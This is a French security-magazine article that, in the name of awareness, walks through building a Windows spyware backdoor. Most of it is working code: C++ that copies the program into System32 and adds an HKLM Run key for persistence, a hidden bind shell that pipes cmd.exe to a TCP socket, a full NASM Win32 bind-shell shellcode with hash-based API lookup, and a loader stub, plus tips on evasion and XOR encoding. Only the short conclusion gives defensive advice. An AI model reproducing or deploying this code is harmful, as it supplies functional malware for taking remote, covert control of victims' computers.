Fiche technique

Développement d'un espiogiciel d'évaluation

Sicchia Didier

Degré de difficulté

Ce dossier se consacre au développement d'un espiogiciel afin de comprendre les méthodes employées par les pirates informatiques. En découvrant le principe propre aux applications de cet acabit, l'usager comprendra mieux la nécessité de constituer une politique de sécurité adéquate via un antivirus correctement administré.

Il ne s'agit plus d'imitation, ni de redoublement, ni même de parodie, mais d'une substitution au réel des signes du réel, c'est-à-dire d'une opération de dissuasion de tout processus réel par son double opératoire, machine signalétique métastable, programmatique impeccable qui offre tous les signes du réel et en court-circuite toutes les péripéties (*Simulacres et Simulation* de Jean Baudrillard – 1981).

Jean Baudrillard[1] est un théoricien social largement controversé dont les analyses se consacrent notamment aux modèles de médiation et de communication technologique moderne. Néanmoins, la portée de sa réflexion s'étend à des sujets plus variés comme la consommation des masses, les relations humaines, la perception du moment, la compréhension sociale de l'histoire eu égard aux commentaires médiatiques, etc.

Jean Baudrillard en vient à caractériser notre époque moderne en tant que *hyper-réalité*, constante illusion où le vrai en vient à être remplacé par les signes seuls de son existence.

Ainsi, selon notre théoricien, ce que nous considérons comme une réalité n'est véritablement qu'un simulacre construit via des éléments autoréférentiels : la copie remplace tristement l'original.

Cette philosophie fondée sur le concept de virtualité du monde apparent est loin d'être étrangère à l'informatique traditionnelle. C'est effectivement une analyse pertinente si on

Cet article explique...

Aujourd'hui, il est particulièrement difficile de garantir la totale intégrité des données privées. De nombreuses applications hostiles et librement échangées sur la Toile permettent de récolter de nombreuses informations sensibles à propos de nos habitudes sur le Web notamment. Ces programmes particuliers se rangent dans la catégorie des « espiogiciels ». Essayons d'en apprendre davantage sur le sujet.

Ce qu'il faut savoir...

- Quelques notions de développement en C/C++ et/ou assembleur.
- Comprendre les méthodes de communication via Internet.
- Usage traditionnel de Windows 2000 ou XP.

considère l'idée selon laquelle l'essentiel nous échappe : ce que nous voyons sur notre écran d'ordinateur n'est qu'une représentation graphique d'un incroyable marasme de flux de commandes, d'interactions multiples entre les composants d'une machine, d'exécutions arbitraires de fonctions, etc. Véritablement, que savons-nous à la simple vue de notre interface fonctionnelle ? Peu de choses en vérité !

Le profane se perd facilement dans les différents usages de son appareil, si bien que parfois il ignore totalement la présence insidieuse de nombreuses applications hostiles comme les SpyWares, les chevaux de Troie (Trojans), les BackDoors, les virus, etc. Ces programmes dangereux pour l'intégrité des données privées ont l'audacieuse particularité de rester cachés aux premiers regards, se substituant à ce que nous pourrions considérer comme étant une activité électronique tranquille et sans réelle ambiguïté. Ainsi, un poste de travail second s'ajoute tristement au nôtre. Prenons le temps d'expliquer le principe d'exploitation propre à ces applications discutables.

Listing 1. *Incription HKLM*

```
class CHKLM {
   public :
      void myKey( char *entry, char *name );
      ~CHKLM( void ){};
   protected:
      struct {
         HKEY hKey; // Constructeur HKEY -
         char lpMdFileName[MAX];
         // Allocation mémoire pour le 'path' original de l'exécutable
         char lpSystemDir [MAX];
         // Chemin d'accès au répertoire System32 + \prog.exe -
      }oKey;
   };
   void CHKLM::myKey( char *entry, char *name ) {
      // Fonction pour retrouver le répertoire /system32 -
      GetSystemDirectory( oKey.lpSystemDir, sizeof( oKey.lpSystemDir ) );
      strcat( oKey.lpSystemDir, "\\" ); // (...) system32/
      strcat( oKey.lpSystemDir, name ); // (...) system32/prog.exe
      // Chemin d'accès actuel de l'exécutable -
      GetModuleFileName( NULL, oKey.lpMdFileName, sizeof(
            oKey.lpMdFileName ) );
      // Si le fichier est absent, on le duplique dans le répertoire system32-
      // On inscrit aussi une clé spécifique dans le registre HKLM -
      if( GetFileAttributes ( oKey.lpSystemDir ) & 0x80000000 ){ // Absent -
         // Copie vers le répertoire System -
         CopyFile( oKey.lpMdFileName, oKey.lpSystemDir, NULL );
         // Création d'une clé de registre -
         RegCreateKey( HKEY_LOCAL_MACHINE, // HKLM -
               "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",
               &oKey.hKey );
         // Affectation d'une valeur à notre clé -
         RegSetValueEx( oKey.hKey, // Handle du constructeur HKEY-
               entry, // Entrée de notre clé HKLM -
               NULL, REG_SZ,
               ( PBYTE )oKey.lpSystemDir, // Répertoire system32 -
               lstrlen( oKey.lpSystemDir )+1 );
         // Fermeture de notre clé -
         RegCloseKey( oKey.hKey );
         return;
   }
};
```

Introduction sur les espiogiciels

Un système d'exploitation commercial se doit d'être convivial et intuitif puisque les utilisateurs ne sont pas forcément instruits dans les usages techniques de la machine. Néanmoins, cette opacité volontaire et protectionniste accorde à certaines applications une liberté d'exécution dangereuse. Le quidam se doit d'être vigilant, conscient que la seule vision de son interface graphique ne suffit pas à prevenir de l'intrusion. Il se cache peut être quelques intrus...

Un SpyWare est un logiciel espion (espiogiciel) qui s'installe sur un système dans le but de collecter et transférer des informations sensibles sur l'environnement dans lequel il est exécuté. L'ampleur de ce genre de logiciels est associé à celui de l'Internet, canal électronique qui lui sert de moyen de transmission de données autrement privées. Ainsi, il est possible de déterminer les habitudes de navigation d'un utilisateur quelconque grâce à des programmes comme CoolWebSearch[2], le plus connu des pirates de navigateur. Ces susdites informations constituent un moyen de revenu pour certaines entreprises trop curieuses. Par contre, les chevaux de Troie servent très fréquemment à constituer une porte dérobée (BackDoor) sur un ordinateur cible. Cette action répréhensible permet à un pirate informatique de prendre le contrôle de l'ordinateur à distance en utilisant un port auparavant ouvert. Le point commun entre ces différentes applications est qu'elles demeurent invisibles, masquées dans l'ensemble des mécanismes propres à notre système d'exploitation. Dans cet article, nous allons décrire une méthode parmi tant d'autres afin de constituer notre propre espiogiciel (en l'occurence une BackDoor), non pas pour devenir à notre tour un individu aux intentions discutables, mais plutôt pour mieux prévenir du danger. L'ensemble des sources est codé en classes traditionnelles C++ selon l'outil de développement MSVC version 6 de Microsoft. Quelles sont les différentes étapes du développement ?

- Étape 1 : Inscription dans le registre HKLM pour automatiser un redémarrage.
- Étape 2 : Le second étape du développement c'est la conception d'un socket serveur et création d'un canal de communication.
- Étape 3 : Création d'un Shell pour une exécution de commandes via la console.

Les *SpyWares* se dupliquent lors d'une première exécution dans un répertoire quelconque. Cette information est aussi copiée dans la clé de contrôle *HKLM* qui détermine les applications exécutées à chacun des démarrages de Windows. Il s'agit d'une entrée particulière, à savoir (ouvrir avec le programme *REGEDIT*) :

```
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Windows\CurrentVersion\Run\
```

Inscription d'une clé HKLM

Notre première classe doit pouvoir effectuer ces opérations importantes que sont la copie et l'inscription HKLM. Dans notre exemple, le mécanisme de la chose se présenterait ainsi

Listing 2. *Création socket et construction d'un canal de communication*

```
class CWinShell:public CHKLM {
   // Public CHKLM pour un éventuel héritage directe -
   public:
      void Rush( int port, char *cmd, char *Pwd, char
           *Welcome, int _loop );
      ~CWinShell( void ){};
   private:

      struct {
         WSADATA wsa; // Constructeur wsa -
         SOCKET sck; // Constructeur socket -
         SOCKADDR_IN sAddr;
               // Constructeur rapport serveur -
         PROCESS_INFORMATION pi;
               // Constructeur Info sur service CMD -
         STARTUPINFO si;
               // Constructeur Info de démarrage CMD -
      }shl;
      struct{
         bool test;
         //Variable Boléenne de vérification du PassWord -
         char buffer [MAX];
        // Allocation pour le traitement du mot de passe-
      }pwd;
   };

   void CWinShell::Rush( int port, char *cmd, char *Pwd,
         char *Welcome, int _loop ) {
      // Détachement console optionnelle -
      FreeConsole();
      _StartUp: // Boucle en cas de clôture du rapport -
      WSAStartup( 0x0202, &shl.wsa ); // Version 2 -
      memset( &shl.si, NULL, sizeof( shl.si ) );
            // Initialisation de &si à valeur NULL -
      shl.si.cb = sizeof( shl.si );
      shl.si.wShowWindow = SW_HIDE;
            // Option masquée de la console -
      shl.si.dwFlags = STARTF_USESTDHANDLES |
            STARTF_USESHOWWINDOW;
      // Acceptation d'un client éventuel sans
      // restriction -
      shl.sAddr.sin_addr.s_addr = INADDR_ANY;
      shl.sAddr.sin_family = AF_INET;
      // Adresse Internet selon 4 octets -
      shl.sAddr.sin_port = htons( port );
      // Port par default du serveur -
      // Construction de notre socket selon TCP/IP -
      shl.sck = WSASocket( AF_INET, SOCK_STREAM,
            IPPROTO_TCP, NULL, NULL, NULL );
      // Point de communication (ou s'il y a un problème
      // >>> return;) -
      if( bind( shl.sck, ( LPSOCKADDR )&shl.sAddr,
            sizeof( shl.sAddr ) ) == INVALID_SOCKET ){
         return;
      }
      // Ecoute du socket avec un maximum de 5 requêtes
      // simultanées -
      listen( shl.sck, 5 );
      shl.sck = accept( shl.sck, NULL, NULL );
      // Rapport distant engagé (message de connexion) -
      if( send( shl.sck, Welcome, strlen( Welcome ),
            NULL) == SOCKET_ERROR ) {
         goto _bad;
      }
      // InPut & OutPut pour redirection sur handle
      // du socket -

      shl.si.hStdInput = ( HANDLE )shl.sck;
      shl.si.hStdOutput = ( HANDLE )shl.sck;
      shl.si.hStdError = ( HANDLE )shl.sck;
      // Création du process CMD -
      if( CreateProcess( NULL,
         cmd, // Service commandé, soit CMD -
         NULL, NULL,
         TRUE, // Attribut du Thread -
         NULL, // Flag NULL -
         NULL, NULL,
         &shl.si,
         // Pointeur sur STARTUPINFO &
         // PROCESS_INFORMATION -
         &shl.pi ) == NULL ){goto _bad;}
      // Oupss! Problm -

      // Attente d'un évènement sur le service commandé
      // sans limite de temps -
      WaitForSingleObject( shl.pi.hProcess, INFINITE );
      _bad:
         // En cas d'évènement ou erreur, on rend
         // la main!
         CloseHandle( shl.pi.hProcess );
         // Sur le process -
         CloseHandle( shl.pi.hThread );
         // Sur le thread -
         closesocket( shl.sck ); // Sur le socket -
         WSACleanup(); // Eradication du socket -
         if( _loop == NULL ) {
            goto _StartUp;
         } // Boucle pour remise en écoute -
         else return;
   };
```

Listing 3. *BackDoor en ASM.*

```
[BITS 32]
global _start
_start:
Rush:
   call BasePTR
LDataSegment:
dd "CMD"   ; Notre service commandé.
; ------------ WS2_32.DLL fonctions.
dd 0x79c679e7 ; Hash de la fonction closesocket Ebp+0x0c
dd 0x498649e5 ; Hash de la fonction accept Ebp+0x10
dd 0xe92eada4 ; Hash de la fonction listen Ebp+0x14
dd 0xc7701aa4 ; Hash de la fonction bind Ebp+0x18
dd 0xadf509d9 ; Hash de la fonction WSASocketA Ebp+0x1c
dd 0x3bfcedcb ; Hash de la fonction WSAStartup Ebp+0x20
; ------------ KERNEL32.DLL fonctions.
dd 0xec0e4e8e ; Hash de la fonction LoadLibraryA Ebp+0x24
dd 0x73e2d87e ; Hash de la fonction ExitProcess Ebp+0x28
dd 0xce05d9ad
     ; Hash de la fonction WaitForSingleObject   Ebp+0x2c
dd 0x16b3fe72
     ; Hash de la fonction CreateProcessA   Ebp+0x30
db "WS2_32.DLL", 0x00, 0x01
; Initialise la pile en déterminant une nouvelle
      base EBP.
BasePTR:
   pop ebx   ; Initialisation de la pile.
   push esp
   mov ebp,esp   ; Stack ptr --> Base ptr.
   mov [ebp],ebx
; Détermine notre PEB (Portable Executable Base).
Kernel32Base:
   push byte 0x30   ; Réserve 48 octets.
   pop ecx
   mov eax,[fs:ecx]   ; Adresse de PEB.
   mov eax,[eax + 0x0c]   ; PEB_LBR_DATA.
   mov esi,[eax + 0x1c]   ; InitializationOrderModule.
   lodsd   ; Load String DWORD.
   mov ebx,[eax + 0x08]   ; Kernel Base.
   jmp short StartLoading
; Routine de chargement de la librairie WS2_32 pour
     la gestion socket.
LoadWinsock:
   lea edx,[edi + 0x2c]   ; Charge la chaîne WS2_32.DLL
        dans Edx.
   push ecx   ; Compteur.
   push edx   ; Argument, soit Librairie WS2_32.DLL
   call eax   ; LoadLibraryA()
   mov ebx,eax   ; Ebx contient l'entrée de la librairie.
   pop ecx   ; Restaure le compteur.
   jmp short Looper2
; Allocations mémoires.
StartLoading:
   push byte 0x08
   pop esi
   add esi,ebp   ; Incrémentation ESI+EBP.
   push byte 0x0a
   pop ecx
   mov edi,[ebp]   ; Edi contient notre variable BasePTR.
Looper:
   cmp cl,0x06
   je short LoadWinsock
; Routine de comparaison nom de fonction et Hash MD5.
Looper2:
   push ecx   ; Sauvegarde le compteur.
   push ebx   ; Handle de la librairie.
   push dword [edi + ecx*4]   ; Nom de la fonction Hashée
        selon compteur.
   call GetProcAddress   ; Routine de recherche de
        l'adresse.
   pop ecx   ; Restaure le compteur.
   mov [esi + ecx * 4],eax   ; Adresse de la fonction
        selon compteur.
   loop Looper   ; Boucle.
   xor edi,edi   ; XORisation de Edi.
; Initialisation du socket.
WSAStartup:   ; Def/Déclaration de la fonction
        WSAStartup.
   sub sp,0x0190 ; Allocation mémoire réservée sur pile.
   push esp   ; Pointeur sur WSAdata (détail socket).
   push word 0x101   ; Version requise.
   call [ebp + 0x20]   ; Call WSAStartup (adresse
        absolue).
; Initialisation WSA du socket mode serveur.
WSASocketA:   ; Def/Déclaration de la fonction WSASocket.
   push edi   ; Flag d'attribut du socket.
   push edi   ; Réservé.
   push edi   ; Définitions du Protocole.
   push edi   ; Protocole de transfert.
   inc edi   ; ++
   push edi   ; Spécifications du socket.
   inc edi   ; ++
   push edi   ; Spécification de la famille AF.
   call [ebp + 0x1c]   ; Call WSASocketA (adresse
        absolue).
   mov ebx,eax   ; Handle du socket dans Ebx.
   xor edi,edi
; Point de communication sur le socket (Fonction Bind).
Bind: ; Def/Déclaration de la fonction Bind.
   push edi
   push edi
   push dword 0x09030002   ; Le port utilisé (777 -
        à convenir).
   mov esi,esp
   push byte 0x10   ; Longueur.
   push esi   ; Pointeur sur socket.
   push ebx   ; Handle du socket selon WSA.
   call [ebp + 0x18]   ; Call Bind (adresse absolue).
; Socket mode serveur en écoute.
Listen:   ; Def/Déclaration de la fonction Listen.
   push edi   ; Maximum de requêtes simultanées.
   push ebx   ; Handle du socket selon WSA.
   call [ebp + 0x14]   ; Call Listen (adresse absolue).
; Acceptation d'un rapport distant.
Accept:   ; Def/Déclaration de la fonction Accept.
   push edi   ; Optionnel pointeur sur entier pour Info
        client.
   push esi   ; Optionnel pointeur sur allocation mémoire
        du client.
   push ebx   ; Handle du socket selon WSA.
   call [ebp + 0x10]   ; Call Accept (adresse absolue).
   mov edx,eax
; Allocations et définitions des structures pour la
     fonction CreateProcess.
CreateProcessStructs:   ; Structure propre à
      CreateProcess.
   sub sp ,0x54   ; Allocation réservée sur pile
        (84 octets).
   lea edi,[esp]   ; Charge dans Edi, la valeur de Esp.
```

(imaginez un nom d'exécutable passe-partout genre *kernel* ou *WinyNT* : la furtivité est alarmante. Le non-initié est perdu... Vous pouvez voir un modèle du genre sur le Listing 1.

Constitution d'un socket et création d'un canal de communication

Sur la seconde portion de code, il faut convenir d'un point d'entrée sur le système via un port de communication TCP ou UDP traditionnel. Au terme de cette classe, vous noterez avec intérêt la redirection OutPut & InPut sur le constructeur

Listing 3. *BackDoor en ASM – suite*

```
   xor eax,eax    ; XORisation de Eax.
   push byte 0x15    ; Réserve 21 octets.
   pop ecx
; Structures STARTUP_INFO et PROCESS_INFO.
BZero:
   rep stosd    ; Transfert mémoire.
   mov edi,edx
   mov byte [esp + 0x10],0x44    ; si.cb = sizeof(si)
   inc byte [esp + 0x3d]    ; si.dwFlags = 0x100
   mov [esp + 0x10 + 0x38],edi    ; Handle du socket
         (stdIn).
   mov [esp + 0x10 + 0x3c],edi    ; Handle du socket
         (stdOut).
   mov [esp + 0x10 + 0x40],edi    ; Handle du socket
         (stdError).
   lea eax,[esp + 0x10]    ; Pointeur sur STARTUP_INFO.
   push esp    ; Pointeur sur PROCESS_INFO.
   push eax    ; Répertoire courant du système.
   push ecx    ; Boléenne d'héritage.
   push ecx    ; Flag de création.
   push ecx    ; Environnement.
   inc ecx    ; ++
   push ecx    ; Thread attributs.
   dec ecx    ; --
   push ecx    ; Process attributs.
   push ecx    ; Command Line.
   push dword [ebp]    ; Application sollicitée, soit CMD.
   push ecx

; Création du lien entre le socket et le service commandé
      selon attributs.
CreateProcess:    ; Def/Déclaration fonction
      CreateProcess.
   call [ebp + 0x30]    ; Call CreateProcess (adresse
         absolue).
   mov ecx,esp    ; Ecx contient la chaîne du service CMD.
; Détermine l'évènement sur le service commandé.
WaitForSingleObject:    ; Déclaration de WaitFor(...)
      Object.
   push dword 0xFFFFFFFF    ; Durée en millisecondes
         (INFINITE).
   push dword [ecx]    ; Handle du service commandé, soit
         CMD.
   call [ebp + 0x2c]    ; Call WaitForSingleObject
         (adresse absolue).
; Fonction de clôture du socket.
CloseSocket:    ; Déclaration fonction CloseSocket.
   push edi    ; Descripteur du socket à clôturer.
   call [ebp + 0x0c]    ; Call CloseSocket (adresse
         absolue).
; Clôture du rapport distant et de l'application.
ExitProcess:    ; Déclaration fonction ExitProcess.
   call [ebp + 0x28]    ; Call ExitProcess (adresse absolue).
; Routine corrélation Nom de fonction/Ordinal/Adresse
      absolue.
GetProcAddress:
   push ebx
   push ebp
   push esi
   push edi
   mov ebp,[esp + 0x18]    ; Initialisation de la pile.
   mov eax,[ebp + 0x3c]    ; OFFSET où figure l'adresse
         Header PE.
   mov edx,[ebp + eax + 0x78]    ; OFFSET Table des
         exportations RVA.
   add edx,ebp    ; + Adresse de Base.
   mov ecx,[edx + 0x18]    ; Nombre de noms de fonctions.
   mov ebx,[edx + 0x20]    ; OFFSET tableau des noms de
         fonctions.
   add ebx,ebp    ; + Adresse de Base.
FctLoop:
   jecxz Nofnd
   dec ecx    ; Décrémentation Ecx.
   mov esi,[ebx + ecx * 4]    ; OFFSET tableau noms +
         (index * 4).
   add esi,ebp    ; + Adresse de Base.
   xor edi,edi    ; XORisation du registre Edi.
   cld
; Routine Hash des noms de fonctions.
HashMe:    ; Fonction liée au Hash de LoadLibraryA.
   xor eax,eax    ; XORisation du registre Eax.
   lodsb    ; Load String Byte (charge la chaîne).
   cmp al,ah    ; Comparaison caractère et NULL.
   je Fnd    ; On a trouvé le nom de fonction entier.
   ror edi,13    ; Rotation à droite de 13 bites.
   add edi,eax    ; ++
   jmp short HashMe    ; On boucle une nouvelle fois.
; Détermine l'adresse absolue de la fonction.
Fnd:
   cmp edi,[esp + 0x14]    ; Nombre de fonctions.
   jnz FctLoop
   mov ebx,[edx + 0x24]    ; OFFSET du tableau des
         ordinaux.
   add ebx,ebp ; + Adresse de Base.
   mov cx, [ebx + 2 * ecx]    ; WORD cx contient l'index.
   mov ebx,[edx + 0x1c]    ; OFFSET tableau adresses de
         fonction.
   add ebx,ebp    ; + Adresse de Base.
   mov eax,[ebx + 4 * ecx]    ; Algorithme pour l'adresse
         relative.
   add eax,ebp    ; + Adresse de Base.
   jmp short Done    ; Saut sur la routine de clôture.
Nofnd:
   xor eax,eax    ; XORisation de Eax.

; Adresse absolue trouvée!
Done:    ; Routine de fin de boucle.
   mov edx,ebp
   pop edi
   pop esi
   pop ebp
   pop ebx
   ret 8
```

Listing 4. *Environnement d'exécution de la BackDoor en ASM*

```
#include <stdio.h>
#include <winsock2.h>

// Project - Settings - Link > Object/Library modules 'Ws2_32.lib' -
#pragma comment (lib,"Ws2_32.lib")
// Ici doit figurer notre code hexadécimal -
char MyShellCode[] = (...)

void main( void ) {
   // Déclarations propres à notre socket -
   WSADATA wsadata;

   WSAStartup( WINSOCK_VERSION, &wsadata );
   ( ( void (*)( void) ) &MyShellCode )();
}
```

afin de créer un canal de communication valide. Il ne reste plus qu'à faire le lien entre notre canal de communication et un service particulier. Dans notre exercice simple, nous utiliserons la console DOS traditionnelle puisqu'elle compose le moyen le plus fonctionnel afin de commander un système distant de modèle WinNT (Cf. Figure 2). Néanmoins, il serait possible de s'attacher à une application autre comme notre navigateur Explorer ou Mozilla, notre répertoire de liens favoris, la liste des fichiers MP3 et DIVX (sic), etc. Équivalent du code en assembleur

Si le langage C/C++ offre le plus de facilité lors du développement du programme, l'assembleur brut reste bien pratique car il accorde des possibilités intéressantes afin de masquer l'usage de certaines fonctions sensibles, code qu'un individu confirmé aura tôt fait de découvrir lors d'un désassemblage de l'exécutable douteux. De plus, notre BackDoor en assembleur se charge de composer sa propre table d'adresses de fonctions en utilisant des Hashs de noms et une adéquation entre les ordinaux, les mots et les adresses virtuelles : en d'autres termes (les experts l'auront reconnu facilement) il s'agit d'un ShellCode universel pour plate-forme Win32 (Cf. Figure 3). Compilé sous NASM[3] et placé dans un tampon, un code hexadécimal complexe laisse peu d'informations libres en lecture. Dès lors, on peut préférer cette alternative plus technique (nous faisons suivre aussi l'environnement d'exécution du code placé dans le tampon, sémantique particulière et codé toujours en C/C++). N'oubliez pas la routine XOR afin d'éviter les NULL Bytes qui figurent une clôture de chaîne de caractères. Vous pouvez la placer dans le code ASM brut ou simplement en effectuant une opération de ce type sur le tampon qui contient le ShellCode (Cf. Figure 4).

Conclusion

Nous avons considéré un modèle parmi tant d'autres car l'industrie de l'information frauduleuse et les pirates informatiques ne manquent pas d'ingéniosité et de malice afin de coder de nouveaux espiogiciels. Ne pensez pas que nous avons fait le tour de la question avec ce seul article : sachez trouver sur la Toile d'autres explications.

Après compilation et analyse de la méthode d'exécution, on comprend mieux la difficulté résultante à ce type de programme. Il y a tant d'applications à télécharger, tant de programmes à essayer que forcément il se produira un moment où quelqu'un profitera de notre crédulité afin d'installer un espiogiciel quelconque : beaucoup de gratuiciels sont vecteurs de contamination. Alors comment pouvons-nous contrer ces assauts incessants ?

D'une part, il convient d'être toujours vigilant et préventif lorsqu'on installe un programme dont la nature nous échappe un peu. De plus, un antivirus associé à un pare-feu constitue une règle de défense aujourd'hui obligatoire, pour ne pas dire primordiale. Cette seule politique de sécurité permet de limiter les trafics vers l'extérieur, condamnant les espiogiciels au silence. À quand remonte votre dernière mise à jour des tables de signatures relatives à votre antivirus ? Avez-vous récemment considéré attentivement votre trafic réseau dans l'objectif de découvrir un lien extérieur étrange ou un serveur furtif ? Il existe aussi de très bon scanners d'espiogiciels en ligne afin d'ajouter à l'éradication[4].

L'information est essentielle. Il faut prendre le temps de découvrir les pertinences (au moins la vulgarisation) de toutes ces applications hostiles. En espérant avoir ajouté à votre connaissance du sujet, bonne chasse ++ L'ensemble des codes C/C++ et assembleur reste disponible sur simple demande par mail. ●

À propos de l'auteur

Didier Sicchia est à l'origine de nombreux exploits, dossiers et articles divers pour plusieurs publications francophones consacrés à la sécurité informatique et au développement. Autodidacte et passionné, son expérience se porte notamment sur les *ShellCodes*, les débordements d'allocations de mémoires, les *RootKits*, etc. Plus que tout autre chose, c'est l'esprit alternatif de la communauté *UnderGround* qui le motive.

Sur Internet

- *http://fr.wikipedia.org/wiki/Jean_Baudrillard* [1]
- *http://en.wikipedia.org/wiki/CoolWebSearch* [2]
- *http://sourceforge.net/projects/nasm* [3]
- *http://antivirus.ordi-netfr.com* [4]